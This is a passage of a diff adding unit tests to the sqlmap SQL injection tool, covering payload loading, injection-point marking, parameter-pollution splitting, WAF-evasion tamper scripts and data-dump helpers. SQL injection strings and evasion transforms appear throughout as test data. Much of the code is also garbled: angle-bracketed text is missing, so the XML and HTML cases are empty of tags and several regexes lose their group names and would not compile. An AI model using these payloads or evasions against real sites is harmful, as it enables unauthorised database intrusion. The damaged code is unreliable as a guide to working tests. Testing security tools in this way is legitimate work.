1", "XML"), + ("1", "XML"), + ("v", "XML"), + ("id=1&x=2", "PLAIN"), + ("just text", "PLAIN"), + ] + + def test_classification(self): + for body, expected in self.CASES: + self.assertEqual(classify(body), expected, msg="classify(%r)" % body) + + +class TestJsonMarking(unittest.TestCase): + # mirrors target.py:159-162 JSON injection-point marking + @staticmethod + def mark(data): + data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % MARK, data) + data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', r'\g<1>%s"' % MARK, data) + data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', r'\g<1>\g<3>%s' % MARK, data) + data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', r'\g<1>\g<3>%s' % MARK, data) + return data + + CASES = [ + ('{"id":1}', '{"id":1*}'), + ('{"name":"abc"}', '{"name":"abc*"}'), + ('{"a":{"b":"1"}}', '{"a":{"b":"1*"}}'), + ('{"empty":""}', '{"empty":"*"}'), + ('{"b":true,"n":null}', '{"b":true*,"n":null*}'), + ('{"a":"x","b":"y"}', '{"a":"x*","b":"y*"}'), + ('{"url":"http://h:8080/p"}', '{"url":"http://h:8080/p*"}'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="mark(%r)" % inp) + + def test_value_preserved_property(self): + # marking must not delete/garble the original value characters + for inp, _ in self.CASES: + out = self.mark(inp) + self.assertEqual(out.replace(MARK, ""), inp, msg="marking altered %r" % inp) + + +class TestXmlMarking(unittest.TestCase): + RX = r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % MARK, data) + + CASES = [ + ("x", "x*"), + ('x', 'x*'), + ("bob5", "bob*5*"), + ("v", "v*"), + ("1", "1*"), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="xmlmark(%r)" % inp) + + +class TestHppReconstruction(unittest.TestCase): + # mirrors connect.py:1171-1187 HPP splitting + def hpp(self, payload, name="id"): + from thirdparty.six.moves import urllib as _urllib # py2+py3 + quote = _urllib.parse.quote + + def ue(s): + try: + return quote(s) + except Exception: + return s + value = "%s=%s%s%s" % (name, PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER) + _ = re.escape(PAYLOAD_DELIMITER) + match = re.search(r"(?P\w+)=%s(?P.+?)%s" % (_, _), value) + out = match.group("value") + for splitter in (ue(' '), ' '): + if splitter in out: + prefix, suffix = ("*/", "/*") if splitter == ' ' else (ue(x) for x in ("*/", "/*")) + parts = out.split(splitter) + parts[0] = "%s%s" % (parts[0], suffix) + parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) + for i in range(1, len(parts) - 1): + parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) + out = "".join(parts) + for splitter in (ue(','), ','): + out = out.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) + return out + + # Exact transform outputs (verified live against an ASP-style join). We pin the produced + # string rather than "reconstruct the SQL", because reconstruction depends on the SQL parser + # treating /* */ as a token separator (1/*,*/AND -> "1 AND"), which a string compare can't model. + CASES = [ + ("1", "1"), + ("1 AND 2=2", "1/*&id=*/AND/*&id=*/2=2"), + ("1 AND 'a'='a'", "1/*&id=*/AND/*&id=*/'a'='a'"), + ] + + def test_exact_outputs(self): + for payload, expected in self.CASES: + self.assertEqual(self.hpp(payload), expected, msg="hpp(%r)" % payload) + + def test_balanced_comments(self): + # every /* must have a matching */ (no dangling comment bridge) + for payload in ["1 UNION SELECT a,b", "1 AND 2=2 OR 3=3", "x y z"]: + out = self.hpp(payload) + self.assertEqual(out.count("/*"), out.count("*/"), msg="unbalanced comments for %r" % payload) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_payloads_structure.py b/tests/test_payloads_structure.py new file mode 100644 index 00000000000..51796da32ff --- /dev/null +++ b/tests/test_payloads_structure.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the injection payload/boundary definitions +(data/xml/payloads/*.xml -> conf.tests, data/xml/boundaries.xml -> conf.boundaries). + +These XML files ARE the detection engine: every test/boundary loaded here is +something sqlmap will fire at a target. The fields are pure data, so the right +tests are shape/range invariants - a malformed level, an unknown technique, a +duplicate title, or a test missing its request payload would silently break or +skew detection. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.payloads import loadBoundaries, loadPayloads +from lib.core.data import conf +from lib.core.enums import PAYLOAD +from lib.core.common import getPublicTypeMembers + +# load once for the module +loadBoundaries() +loadPayloads() + +TECHNIQUES = set(v for _, v in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) # {1..6} +WHERES = set(v for _, v in getPublicTypeMembers(PAYLOAD.WHERE)) # {1,2,3} + + +class TestLoaded(unittest.TestCase): + # floors well below the current counts (~340 tests, ~54 boundaries) - high enough to catch a + # truncated/partially-loaded XML set (not just "> 0"), low enough to survive normal additions + def test_payloads_loaded(self): + self.assertGreaterEqual(len(conf.tests), 200, msg="only %d tests loaded" % len(conf.tests)) + + def test_boundaries_loaded(self): + self.assertGreaterEqual(len(conf.boundaries), 30, msg="only %d boundaries loaded" % len(conf.boundaries)) + + +class TestTestEntries(unittest.TestCase): + def setUp(self): + # guard against vacuous passes: if payloads failed to load, every loop below + # would iterate zero times and pass silently + self.assertTrue(conf.tests, "conf.tests is empty - payloads failed to load") + + def test_required_fields_present(self): + for t in conf.tests: + for field in ("title", "stype", "clause", "where", "level", "risk", "request", "response"): + self.assertIn(field, t, msg="test %r missing field %r" % (t.get("title"), field)) + + def test_title_non_empty(self): + for t in conf.tests: + self.assertTrue(t.title and t.title.strip(), msg="empty test title") + + def test_titles_unique(self): + titles = [t.title for t in conf.tests] + self.assertEqual(len(titles), len(set(titles)), msg="duplicate test titles exist") + + def test_stype_is_known_technique(self): + for t in conf.tests: + self.assertIn(t.stype, TECHNIQUES, msg="test %r has unknown stype %r" % (t.title, t.stype)) + + def test_level_and_risk_in_range(self): + for t in conf.tests: + self.assertIn(t.level, (1, 2, 3, 4, 5), msg="test %r bad level %r" % (t.title, t.level)) + self.assertIn(t.risk, (1, 2, 3), msg="test %r bad risk %r" % (t.title, t.risk)) + + def test_request_has_payload(self): + for t in conf.tests: + self.assertIn("payload", t.request, msg="test %r request has no payload" % t.title) + + def test_where_values_valid(self): + for t in conf.tests: + for w in t.where: + self.assertIn(w, WHERES, msg="test %r has bad where %r" % (t.title, w)) + + +class TestBoundaryEntries(unittest.TestCase): + def setUp(self): + self.assertTrue(conf.boundaries, "conf.boundaries is empty - boundaries failed to load") + + def test_required_fields_present(self): + for b in conf.boundaries: + for field in ("level", "clause", "where", "ptype"): + self.assertIn(field, b, msg="boundary missing field %r" % field) + + def test_level_in_range(self): + for b in conf.boundaries: + self.assertIn(b.level, (1, 2, 3, 4, 5), msg="boundary bad level %r" % b.level) + + def test_where_values_valid(self): + for b in conf.boundaries: + for w in b.where: + self.assertIn(w, WHERES, msg="boundary bad where %r" % w) + + def test_clause_is_list_like(self): + for b in conf.boundaries: + self.assertTrue(isinstance(b.clause, (list, tuple)), msg="boundary clause not list-like") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_replication.py b/tests/test_replication.py new file mode 100644 index 00000000000..22bdab8203a --- /dev/null +++ b/tests/test_replication.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQLite replication writer (lib/core/replication.py). + +This is what backs `--dump ... --dump-format SQLITE` / replication: it mirrors +dumped tables into a local SQLite file. Tested end-to-end against a real temp +database (create table, typed columns, insert, select, persistence) and read +back independently with the stdlib sqlite3 driver. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.replication import Replication + + +class _ReplCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) + self.rep = Replication(self.path) + + def tearDown(self): + try: + del self.rep + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + def _readback(self, sql): + conn = sqlite3.connect(self.path) + try: + return conn.execute(sql).fetchall() + finally: + conn.close() + + +class TestCreateInsertSelect(_ReplCase): + def test_roundtrip(self): + t = self.rep.createTable("users", [("id", self.rep.INTEGER), ("name", self.rep.TEXT)]) + t.insert([1, "admin"]) + t.insert([2, "guest"]) + self.assertEqual(t.select(), [(1, "admin"), (2, "guest")]) + + def test_persisted_to_disk(self): + t = self.rep.createTable("t", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([10, "x"]) + # autocommit (isolation_level=None) => visible to an independent connection + self.assertEqual(self._readback("SELECT id, v FROM t"), [(10, "x")]) + + def test_real_and_blob_types(self): + t = self.rep.createTable("mix", [("r", self.rep.REAL), ("b", self.rep.BLOB)]) + t.insert([3.5, b"\x00\x01"]) + self.assertEqual(self._readback("SELECT r FROM mix")[0][0], 3.5) # REAL preserved exactly + # BLOB containing a NUL byte must survive intact (a naive str path would truncate at \x00). + # It comes back as a 2-element value (text on py3); assert the NUL didn't truncate it. + blob = self._readback("SELECT b FROM mix")[0][0] + self.assertEqual(len(blob), 2, msg="blob truncated/altered: %r" % (blob,)) + + def test_null_and_empty_values(self): + t = self.rep.createTable("n", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([None, ""]) + self.assertEqual(self._readback("SELECT id, v FROM n"), [(None, "")]) + + def test_create_replaces_existing(self): + t1 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + t1.insert([1]) + # createTable drops-if-exists, so the table is fresh + t2 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + self.assertEqual(t2.select(), []) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_safe2bin.py b/tests/test_safe2bin.py new file mode 100644 index 00000000000..609ccc41b9a --- /dev/null +++ b/tests/test_safe2bin.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +safecharencode / safechardecode (lib/utils/safe2bin.py). + +These make extracted DB values safe to print/store by escaping control and +non-printable characters (tab -> \\t, NUL -> \\x00, ...) and back. They are +applied to dumped data and to values written through the replication writer, +so the escape<->unescape round-trip must be exact. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.safe2bin import safecharencode, safechardecode + +RND = random.Random(99) + + +class TestKnownEscapes(unittest.TestCase): + CASES = [ + (u"normal", u"normal"), + (u"tab\there", u"tab\\there"), + (u"new\nline", u"new\\nline"), + (u"nul\x00byte", u"nul\\x00byte"), + ] + + def test_encode(self): + for raw, encoded in self.CASES: + self.assertEqual(safecharencode(raw), encoded, msg="safecharencode(%r)" % raw) + + def test_plain_text_unchanged(self): + for s in (u"plain", u"abc 123", u"semi;colon", u"a,b,c"): + self.assertEqual(safecharencode(s), s, msg="plain text altered: %r" % s) + + +class TestRoundTrip(unittest.TestCase): + def test_known_roundtrip(self): + for raw, _ in TestKnownEscapes.CASES: + self.assertEqual(safechardecode(safecharencode(raw)), raw, msg="round-trip %r" % raw) + + def test_property_roundtrip(self): + # mix printable + control/non-printable code points + pool = u"abc 123" + u"".join(chr(c) for c in (0, 1, 7, 9, 10, 13, 27, 127)) + for _ in range(2000): + s = u"".join(RND.choice(pool) for _ in range(RND.randint(0, 24))) + self.assertEqual(safechardecode(safecharencode(s)), s, msg="round-trip failed for %r" % s) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_settings_regex.py b/tests/test_settings_regex.py new file mode 100644 index 00000000000..ddfceccf75a --- /dev/null +++ b/tests/test_settings_regex.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Compiled-regex battery for lib/core/settings.py. + +settings.py defines ~40 module-level *_REGEX patterns that drive WAF/error/ +charset/IP/title detection. A bad edit to any one of them is a silent failure +(detection just stops firing). This compiles them all and pins the behavior of +the high-traffic detection patterns with positive + negative cases. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.core.settings as S +from lib.core.common import extractRegexResult + + +class TestAllRegexesCompile(unittest.TestCase): + def test_every_regex_constant_compiles(self): + names = [n for n in dir(S) if n.endswith("_REGEX")] + self.assertGreater(len(names), 20, msg="expected many *_REGEX constants") + failures = [] + for name in names: + value = getattr(S, name) + if isinstance(value, str): + # some carry a single %s placeholder (e.g. SENSITIVE_DATA_REGEX) - fill it before compiling + candidate = value.replace("%s", "X") if "%s" in value else value + try: + re.compile(candidate) + except re.error as ex: + failures.append("%s: %s" % (name, ex)) + self.assertEqual(failures, [], msg="non-compiling regexes: %s" % failures) + + +class TestDetectionPatterns(unittest.TestCase): + def test_ip_address(self): + self.assertTrue(re.search(S.IP_ADDRESS_REGEX, "connect to 192.168.0.1 now")) + self.assertFalse(re.search(S.IP_ADDRESS_REGEX, "999.999.999.999")) + + def test_permission_denied(self): + self.assertEqual(extractRegexResult(S.PERMISSION_DENIED_REGEX, "access denied for user 'x'"), + "access denied") + + def test_parameter_splitting(self): + self.assertEqual(re.split(S.PARAMETER_SPLITTING_REGEX, "a,b;c|d"), ["a", "b", "c", "d"]) + + def test_html_title(self): + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "Hello"), "Hello") + # case-insensitive tag, first-of-two wins, empty/absent -> None (probed) + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "x"), "x") + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "AB"), "A") + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "")) + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "no title here")) + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sqlparse.py b/tests/test_sqlparse.py new file mode 100644 index 00000000000..afe204ecb5c --- /dev/null +++ b/tests/test_sqlparse.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQL/string parsing helpers: field splitting and 0-depth (paren+quote aware) +scanning, query cleanup, regex extraction. +Includes regression cases for the quote-awareness bugs fixed previously. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import splitFields, zeroDepthSearch, cleanQuery, extractRegexResult + + +class TestSplitFields(unittest.TestCase): + CASES = [ + ("a,b", ["a", "b"]), + ("user,password", ["user", "password"]), + ("a,b,c", ["a", "b", "c"]), + ("a", ["a"]), + ("max(a,b)", ["max(a,b)"]), # paren-protected + ("max(a, b),c", ["max(a,b)", "c"]), # ', ' normalized; outer split + ("COUNT(*),name", ["COUNT(*)", "name"]), + ("f(g(x,y),z),h", ["f(g(x,y),z)", "h"]), # nested parens + ("'a,b'", ["'a,b'"]), # REGRESSION: comma in single-quoted literal + ("'a,b','c|d','e&f'", ["'a,b'", "'c|d'", "'e&f'"]), # REGRESSION + ('"x,y",z', ['"x,y"', "z"]), # double-quoted literal + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(splitFields(inp), expected, msg="splitFields(%r)" % inp) + + +class TestZeroDepthSearch(unittest.TestCase): + def test_quote_awareness(self): + # ' FROM ' inside a literal must NOT be a clause boundary (regression) + self.assertEqual(zeroDepthSearch("SELECT 'x FROM y'", " FROM "), []) + # a real FROM must be found (exactly once here) + self.assertEqual(len(zeroDepthSearch("SELECT a FROM t", " FROM ")), 1) + + def test_paren_awareness(self): + self.assertEqual(zeroDepthSearch("a(,)b,c", ","), [5]) # only the depth-0 comma + + def test_doctest_vectors(self): + q = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL" + hits = zeroDepthSearch(q, "FROM") + self.assertTrue(hits, "no depth-0 FROM found") # guard: avoid a confusing IndexError + self.assertEqual(q[hits[0]:], "FROM DUAL") # outer FROM only + s = "a(b; c),d;e" + hits = zeroDepthSearch(s, "[;, ]") + self.assertTrue(hits) + self.assertEqual(s[hits[0]:], ",d;e") # char-class form + + +class TestCleanQuery(unittest.TestCase): + def test_keyword_uppercasing(self): + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + # mixed case keywords get uppercased; non-keyword identifiers are preserved verbatim + self.assertEqual(cleanQuery("seLeCt a fRoM t"), "SELECT a FROM t") + self.assertEqual(cleanQuery("SELECT 1"), "SELECT 1") # already-upper unchanged + + def test_idempotent(self): + for q in ["select a from t", "SELECT 1", "select x where y=1 order by z"]: + once = cleanQuery(q) + self.assertEqual(cleanQuery(once), once) + # idempotence alone would pass even if cleanQuery uppercased EVERYTHING; anchor that it + # uppercases keywords but preserves the lowercase identifier + self.assertEqual(cleanQuery("select a from t"), "SELECT a FROM t") + + +class TestExtractRegexResult(unittest.TestCase): + def test_named_group(self): + self.assertEqual(extractRegexResult(r"id=(?P\d+)", "id=42"), "42") + self.assertIsNone(extractRegexResult(r"id=(?P\d+)", "no match here")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_strings.py b/tests/test_strings.py new file mode 100644 index 00000000000..5aada824e0c --- /dev/null +++ b/tests/test_strings.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +String / path / escape helpers. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (normalizePath, posixToNtSlashes, ntToPosixSlashes, + isHexEncodedString, decodeStringEscape, encodeStringEscape, + listToStrValue, filterControlChars, safeVariableNaming, + unsafeVariableNaming, longestCommonPrefix, decodeIntToUnicode) + +RND = random.Random(7) + + +class TestPaths(unittest.TestCase): + def test_normalizePath(self): + self.assertEqual(normalizePath("a//b/c"), "a/b/c") + + def test_slashes(self): + self.assertEqual(posixToNtSlashes("/a/b"), "\\a\\b") + self.assertEqual(ntToPosixSlashes("a\\b"), "a/b") + + def test_slash_roundtrip(self): + for _ in range(500): + s = "/".join(["seg%d" % RND.randint(0, 9) for _ in range(RND.randint(2, 6))]) + nt = posixToNtSlashes(s) + # non-identity anchor: the NT form must actually differ (no '/', has '\') - + # otherwise a no-op pair would pass this round-trip + self.assertNotIn("/", nt, msg="posixToNtSlashes left a '/': %r" % nt) + self.assertIn("\\", nt) + self.assertEqual(ntToPosixSlashes(nt), s) + + +class TestHexDetection(unittest.TestCase): + CASES = [("0x4142", True), ("4142", True), ("zz", False), ("0xZZ", False), ("", False)] + + def test_isHexEncodedString(self): + for v, exp in self.CASES: + self.assertEqual(bool(isHexEncodedString(v)), exp, msg="isHexEncodedString(%r)" % v) + + +class TestStringEscape(unittest.TestCase): + def test_known(self): + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + + def test_roundtrip_property(self): + ctrl = "\t\n\r\\abc 123" + for _ in range(2000): + s = "".join(RND.choice(ctrl) for _ in range(RND.randint(0, 20))) + self.assertEqual(decodeStringEscape(encodeStringEscape(s)), s) + + +class TestVariableNaming(unittest.TestCase): + def test_transform_is_not_identity(self): + # safeVariableNaming hex-encodes non-identifier-safe names behind an EVAL_ prefix; + # pin the exact form so the round-trip below can't be satisfied by no-op functions + self.assertEqual(safeVariableNaming("a.b"), "EVAL_612e62") # 612e62 == hex("a.b") + self.assertNotEqual(safeVariableNaming("weird name"), "weird name") + + def test_roundtrip(self): + for ident in ["a.b", "schema.table", "x", "weird name", "a-b.c"]: + encoded = safeVariableNaming(ident) + if any(c not in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_" for c in ident): + self.assertNotEqual(encoded, ident, msg="unsafe ident %r was not transformed" % ident) + self.assertEqual(unsafeVariableNaming(encoded), ident) + + +class TestMiscStrings(unittest.TestCase): + def test_listToStrValue(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_filterControlChars(self): + self.assertEqual(filterControlChars("a\x07b"), "a b") + + def test_longestCommonPrefix(self): + self.assertEqual(longestCommonPrefix("abcx", "abcy"), "abc") + self.assertEqual(longestCommonPrefix("abc", "xyz"), "") + + def test_decodeIntToUnicode(self): + # single-byte code points map to their char + self.assertEqual(decodeIntToUnicode(65), u"A") + self.assertEqual(decodeIntToUnicode(97), u"a") + # NOTE: >255 ints are interpreted as a multi-byte sequence (not a Unicode code point), + # e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' (documents actual behavior, not an assumption) + self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_tamper.py b/tests/test_tamper.py new file mode 100644 index 00000000000..11869d98c0d --- /dev/null +++ b/tests/test_tamper.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tamper scripts (all ~70): contract, robustness on a payload battery, known +transforms, and documented fragile cases. + +NOTE (flagged for author - real minor bugs surfaced by this suite): + * tamper/percentage.py raises UnboundLocalError on empty/None payload + (retVal is only assigned inside `if payload:`; missing `retVal = payload` init). + * tamper/escapequotes.py raises AttributeError on None payload (no guard). + 68/70 tampers handle ""/None gracefully; these two are inconsistent. Pinned below + as KNOWN_FRAGILE so the suite stays green and a fix is a conscious change. +""" + +import os +import glob +import importlib +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + +from thirdparty import six + +TAMPERS = sorted(os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")) + +# realistic, non-empty payloads (incl. unicode via escape, and a long one) +PAYLOADS = [ + "1 AND 2=2", + "1 UNION SELECT NULL,NULL-- -", + "1 AND (SELECT 1 FROM dual)>0", + "1 AND '1'='1", + "admin'-- -", + u"1 AND name='caf\xe9'", + "1 AND " + "A" * 64, # modest "longer" payload +] + +KNOWN_FRAGILE = set() # percentage/escapequotes empty/None crashes were FIXED by the author; now covered below +# Intentionally expensive by design (generates 4.2M parameters per call to flood Lua-Nginx +# WAFs) -> ~6s/call. NOT a bug; excluded from execution to keep the unit suite fast. +HEAVY = {"luanginxmore"} + + +class TestTamperRobustness(unittest.TestCase): + def test_no_crash_returns_string(self): + for name in TAMPERS: + if name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + for p in PAYLOADS: + try: + r = mod.tamper(p) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, p[:25], ex)) + self.assertTrue(isinstance(r, six.string_types), + msg="tamper '%s' returned %s for %r" % (name, type(r).__name__, p[:25])) + + +class TestTamperEmptyNoneHandling(unittest.TestCase): + def test_graceful_on_empty_and_none(self): + for name in TAMPERS: + if name in KNOWN_FRAGILE or name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + for p in ("", None): + try: + mod.tamper(p) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, p, ex)) + + def test_previously_fragile_now_fixed(self): + # regression pin: percentage/escapequotes used to crash on empty/None; now must be graceful + import tamper.percentage as _p + import tamper.escapequotes as _e + self.assertEqual(_p.tamper(""), "") + self.assertIsNone(_p.tamper(None)) + self.assertEqual(_e.tamper(""), "") + self.assertIsNone(_e.tamper(None)) + + +class TestKnownTransforms(unittest.TestCase): + # authoritative input->output taken from each tamper's own doctest + CASES = { + "space2comment": ("SELECT id FROM users", "SELECT/**/id/**/FROM/**/users"), + "between": ("1 AND A > B--", "1 AND A NOT BETWEEN 0 AND B--"), + "charencode": ("SELECT FIELD FROM%20TABLE", + "%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45"), + "apostrophemask": ("1 AND '1'='1", "1 AND %EF%BC%871%EF%BC%87=%EF%BC%871"), + "equaltolike": ("SELECT * FROM users WHERE id=1", "SELECT * FROM users WHERE id LIKE 1"), + "percentage": ("SELECT FIELD FROM TABLE", "%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E"), + # additional deterministic transforms (verified stable across repeated calls) + "space2plus": ("1 AND 2>1", "1+AND+2>1"), + "unionalltounion": ("1 UNION ALL SELECT 2", "1 UNION SELECT 2"), + "halfversionedmorekeywords": ("1 AND 2>1", "1/*!0AND 2>1"), + "versionedkeywords": ("1 AND 2>1", "1/*!AND*/2>1"), + "appendnullbyte": ("1", "1%00"), + "base64encode": ("1 AND 1=1", "MSBBTkQgMT0x"), + "greatest": ("1 AND A>B", "1 AND GREATEST(A,B+1)=A"), + "ifnull2ifisnull": ("IFNULL(a,b)", "IF(ISNULL(a),b,a)"), + "symboliclogical": ("1 AND 2 OR 3", "1 %26%26 2 %7C%7C 3"), + "bluecoat": ("1 AND 2=2", "1 AND%092 LIKE 2"), + "apostrophenullencode": ("'", "%00%27"), + } + + def test_transforms(self): + for name, (inp, expected) in self.CASES.items(): + mod = importlib.import_module("tamper.%s" % name) + self.assertEqual(mod.tamper(inp), expected, msg="tamper '%s'(%r)" % (name, inp)) + + +class TestTamperCount(unittest.TestCase): + def test_expected_count(self): + # there are currently 70 tamper scripts; floor at 70 so an accidental deletion (or a glob + # that silently stops matching) fails loudly rather than passing on a shrunken set + self.assertGreaterEqual(len(TAMPERS), 70, msg="expected >=70 tampers, found %d" % len(TAMPERS)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py new file mode 100644 index 00000000000..a0e05ac851d --- /dev/null +++ b/tests/test_targeturl.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target URL parsing (lib/core/common.py parseTargetUrl). + +parseTargetUrl reads conf.url and populates conf.hostname / conf.port / +conf.scheme / conf.path - the values every subsequent request is built from. A +wrong default port or dropped scheme here misdirects the entire scan, so the +scheme/default-port/explicit-port/path cases are pinned. + +(Inline URL credentials user:pw@host are intentionally not covered - sqlmap +uses --auth-cred for that and does not parse them out of conf.url.) +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import parseTargetUrl +from lib.core.data import conf + + +def _parse(url): + conf.url = url + parseTargetUrl() + return conf.hostname, conf.port, conf.scheme, conf.path + + +class TestScheme(unittest.TestCase): + def test_http(self): + host, port, scheme, _ = _parse("http://host/p?id=1") + self.assertEqual((host, scheme), ("host", "http")) + + def test_https(self): + _, _, scheme, _ = _parse("https://host/p") + self.assertEqual(scheme, "https") + + +class TestDefaultPorts(unittest.TestCase): + def test_http_default_80(self): + self.assertEqual(_parse("http://h/")[1], 80) + + def test_https_default_443(self): + self.assertEqual(_parse("https://h/")[1], 443) + + def test_no_trailing_slash(self): + host, port, scheme, _ = _parse("http://h") + self.assertEqual((host, port), ("h", 80)) + + +class TestExplicitPort(unittest.TestCase): + def test_explicit_port(self): + host, port, scheme, _ = _parse("https://example.com:8443/x") + self.assertEqual((host, port, scheme), ("example.com", 8443, "https")) + + +class TestPath(unittest.TestCase): + def test_path_extracted(self): + self.assertEqual(_parse("http://host/some/path?q=1")[3], "/some/path") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py new file mode 100644 index 00000000000..2726e6747fe --- /dev/null +++ b/tests/test_texthelpers.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Text-processing helpers in lib/core/common.py: +normalizeUnicode (accent folding), filterStringValue (charset whitelist), +parseFilePaths (absolute-path harvesting from error pages -> kb.absFilePaths), +getSafeExString (safe exception rendering). + +parseFilePaths in particular feeds path disclosure / file-read targeting, so +its extraction is pinned with realistic PHP/ASP error strings. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import normalizeUnicode, filterStringValue, parseFilePaths, getSafeExString +from lib.core.data import kb + + +class TestNormalizeUnicode(unittest.TestCase): + def test_strips_accents(self): + self.assertEqual(normalizeUnicode(u"caf\xe9 r\xe9sum\xe9"), u"cafe resume") + + def test_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"plain ascii 123"), u"plain ascii 123") + + +class TestFilterStringValue(unittest.TestCase): + def test_keep_lowercase(self): + self.assertEqual(filterStringValue("abc123!@#", r"[a-z]"), "abc") + + def test_keep_digits(self): + self.assertEqual(filterStringValue("a1b2c3", r"[0-9]"), "123") + + def test_all_match(self): + self.assertEqual(filterStringValue("abc", r"[a-z]"), "abc") + + +class 